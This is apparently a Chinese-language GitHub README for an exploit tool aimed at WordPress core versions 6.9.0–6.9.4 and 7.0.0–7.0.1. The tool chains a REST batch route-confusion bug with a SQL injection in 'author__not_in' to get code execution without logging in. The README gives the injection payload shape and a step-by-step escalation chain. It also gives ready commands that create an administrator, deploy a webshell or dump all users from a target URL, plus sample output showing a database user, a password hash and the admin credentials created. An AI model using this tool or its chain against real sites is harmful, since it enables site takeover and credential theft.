shinthink/CVE-2026-63030
GitHub: shinthink/CVE-2026-63030
WordPress Core 认证前 RCE 漏洞利用工具,通过 REST 批量路由混淆与 SQL 注入漏洞链实现远程代码执行。
Stars: 0 | Forks: 0
CVE-2026-63030 + CVE-2026-60137 — WP2Shell
WordPress Core 通过 REST 批量路由混淆 + SQLi 实现的认证前 RCE
## 概述 **CVE-2026-63030** (CVSS 9.8) 和 **CVE-2026-60137** (CVSS 9.1) 构成了 **WordPress Core** 中一个极其严重的**认证前远程代码执行**链。该漏洞影响所有 **6.9.0–6.9.4** 和 **7.0.0–7.0.1** 版本的默认 WordPress 安装。 该漏洞链由 **GPT-5.6 Sol Ultra** (OpenAI) 在短短 10 个多小时内自主发现,成本约为 25 美元 —— 这类漏洞在漏洞利用掮客市场上的估值高达 **500,000 美元**。 未经认证的攻击者可以通过以下方式实现 RCE: 1. **REST 批量路由混淆** (CVE-2026-63030) — 使 WordPress 内部的 handler-to-request 数组不同步 2. **通过 `author__not_in` 进行 SQL 注入** (CVE-2026-60137) — 利用标量字符串绕过 `absint()` 过滤 3. **UNION SELECT 缓存投毒** — 在内存中伪造 7 个虚假的 `WP_Post` 对象 4. **oEmbed 持久化** — 将只读 SQLi 转换为真实的数据库写入 5. **`customize_changeset` 劫持** — 临时借用管理员身份 6. **`parse_request` 钩子重入** — 以提升的权限重放 REST API 7. **以管理员身份执行 `POST /wp/v2/users`** — 创建新的管理员帐户 ### 受影响版本 | 分支 | 受影响版本 | 已修复版本 | |---|---|---| | 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 | | 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 | | 6.8.x | 仅 SQLi (CVE-2026-60137) | 6.8.6 | ## 漏洞机制 ### 根本原因 1:批量路由混淆 (CVE-2026-63030) WordPress 的 REST 批量处理器 (`serve_batch_request_v1`) 维护着两个数组:`$validation[]`(验证结果)和 `$matches[]`(路由 handler)。当 `wp_parse_url()` 解析畸形路径 (`///`) 失败时,`WP_Error` 会被推入验证链中,但**不会**被推入路由匹配链中: ``` // class-wp-rest-server.php $parsed_url = wp_parse_url( $args['path'] ); if ( false === $parsed_url ) { $requests[] = new WP_Error( 'parse_path_failed', ... ); continue; // ← SKIPS $matches[] — desync by one index } ``` 该漏洞利用使用**嵌套(递归)批量**调用,同时绕过了方法限制和参数过滤。 ### 根本原因 2:通过 `author__not_in` 进行 SQL 注入 (CVE-2026-60137) `WP_Query` 仅在 `is_array()` 分支内应用 `absint()` 过滤。当 `author__not_in` 作为标量字符串传入时,过滤会被**完全跳过**: ``` // class-wp-query.php if ( ! empty( $query_vars['author__not_in'] ) ) { if ( is_array( $query_vars['author__not_in'] ) ) { $query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) ); // ONLY if array } $author__not_in = implode( ',', (array) $query_vars['author__not_in'] ); // scalar passes raw $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // SQL INJECTION } ``` Payload:`0) UNION ALL SELECT ...-- -` 会闭合 `NOT IN` 列表并追加任意的 SQL。 ### 提权链 ``` [1] Batch desync → bypass auth + param checks [2] UNION SELECT → forge 7 fake WP_Post objects in cache ├─ Trigger post — [embed] shortcode ├─ Changeset post — post_type=customize_changeset, post_status=future ├─ Outer partner — post_parent=changeset (Loop 1) ├─ oEmbed target — cache backing ├─ Nav menu item — post_type=nav_menu_item ├─ Request post — post_type=request, post_status=parse (Loop 2) └─ Inner partner — post_parent=request [3] oEmbed processing → wp_update_post() → hierarchy cycle detection [4] Loop 1 fix → writes changeset to DB without overwriting post_content [5] _wp_customize_publish_changeset() → wp_set_current_user(admin_id) [6] Loop 2 fix → writes request post → do_action("parse_request") [7] rest_api_loaded() → serve_request() → batch replayed as ADMIN [8] POST /wp/v2/users → administrator created ``` ### 完整 RCE 的前置条件 | 要求 | 原因 | 是否默认? | |---|---|---| | 至少 1 篇已发布的文章 | 使用回环 URL 为 oEmbed 缓存提供种子 | ✅ "Hello World" | | 无持久化对象缓存 | UNION 行不能被 split_the_query 丢弃 | ✅ 文件缓存 | | REST API 可访问 | 通过 parse_request 重入需要 REST 服务器 | ✅ | | 直接的文件系统写入 | 插件上传需要 FS_METHOD=direct | ✅ 大多数主机 | ## 安装说明 ``` git clone https://github.com/shinthink/CVE-2026-63030.git cd CVE-2026-63030 pip3 install -r requirements.txt # or: nothing — stdlib only ``` ## 使用指南 ``` # 完整链 — 创建管理员账户(预认证) python3 cve_2026_63030.py --url https://target.com # 仅检测(非破坏性 — 验证漏洞) python3 cve_2026_63030.py --url https://target.com --check # 完整链 + 部署 RCE webshell python3 cve_2026_63030.py --url https://target.com --rce id # 通过 UNION 提取转储所有用户 python3 cve_2026_63030.py --url https://target.com --dump-users ``` ### 输出结果 ``` +======================================================================+ | wp2shell -- Pre-Auth RCE PoC (Educational / Research) | | CVE-2026-60137 (SQLi) + CVE-2026-63030 (Batch Route Confusion) | +======================================================================+ Target : https://target.com Mode : FULL CHAIN [STEP 1] Verifying batch endpoint + route-confusion desync [+] Batch endpoint reachable (HTTP 207) [+] Desync confirmed (markers: parse_path_failed, rest_batch_not_allowed) [STEP 2] UNION SQLi — database reconnaissance [+] Database version : 8.0.46 [+] Database user : wp_user@localhost [+] Database name : wordpress_db [+] Table prefix : wp_ [+] Admin login : admin [+] Admin hash : $P$B5xK3mwBxY2dOe/MKWx5VXGihwSUO [+] Admin user ID : 1 [STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning [*] Seeding oEmbed cache with 3 loopback URLs... [+] oEmbed cache IDs: [6, 7, 8] [*] Submitting changeset poison + user creation... [+] Admin created -- username: wp2_a1b2c3d4 password: Wp2!e5f6g7h8i9j0 +======================================================================+ | EXPLOITATION COMPLETE | +======================================================================+ Admin : wp2_a1b2c3d4 / Wp2!e5f6g7h8i9j0 Login : https://target.com/wp-login.php ``` ## 文件 | 文件 | 用途 | |---|---| | `cve_2026_63030.py` | 单目标漏洞利用(零依赖) | | `requirements.txt` | Python 依赖项(无需额外依赖) | ## 参考文献 - [SLCyber — GPT-5.6 Sol 发现报告](https://slcyber.io/research-center/exploit-brokers-pay-500000-for-a-wordpress-rce-i-found-one-with-gpt5-6/) - [WordPress.org — 安全发布](https://wordpress.org/news/2026/07/wordpress-6-9-5-security-release/) - [Wiz — 在野利用分析](https://www.wiz.io/blog/wp2shell-cve-2026-63030-cve-2026-60137) - [Tenable — 常见问题解答](https://www.tenable.com/blog/wp2shell-cve-2026-63030-cve-2026-60137-frequently-asked-questions-about-remote-code-execution) ## 免责声明 仅供授权的安全测试和教育研究使用。作者对任何滥用行为不承担责任。标签:CISA项目, Python, Web报告查看器, WordPress, 安全, 无后门, 演示模式, 超时处理, 逆向工具